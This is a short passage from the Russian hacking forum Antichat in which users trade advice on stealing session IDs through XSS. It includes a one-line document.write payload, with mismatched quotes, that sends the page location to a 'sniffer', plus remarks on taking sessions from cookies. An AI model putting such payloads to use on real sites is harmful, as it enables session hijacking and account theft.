Форум АНТИЧАТ - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от Pavlov

Что за SID и кеш? Если SID, это SesionID, то да.
Както так:
document.write('<html><body><script src=sniffer/img.gif?"+document.location></script></body></html>');

Ты знаеш что такое GET запрос?

Цитата:

Сообщение от Pashkela

Вообще-то сессии с помощью XSS угоняются из cookie, если в куках есть сессия - можно угнать, если найти xss

Даже если прекрипить скнифер в место картинки всеровно не получится?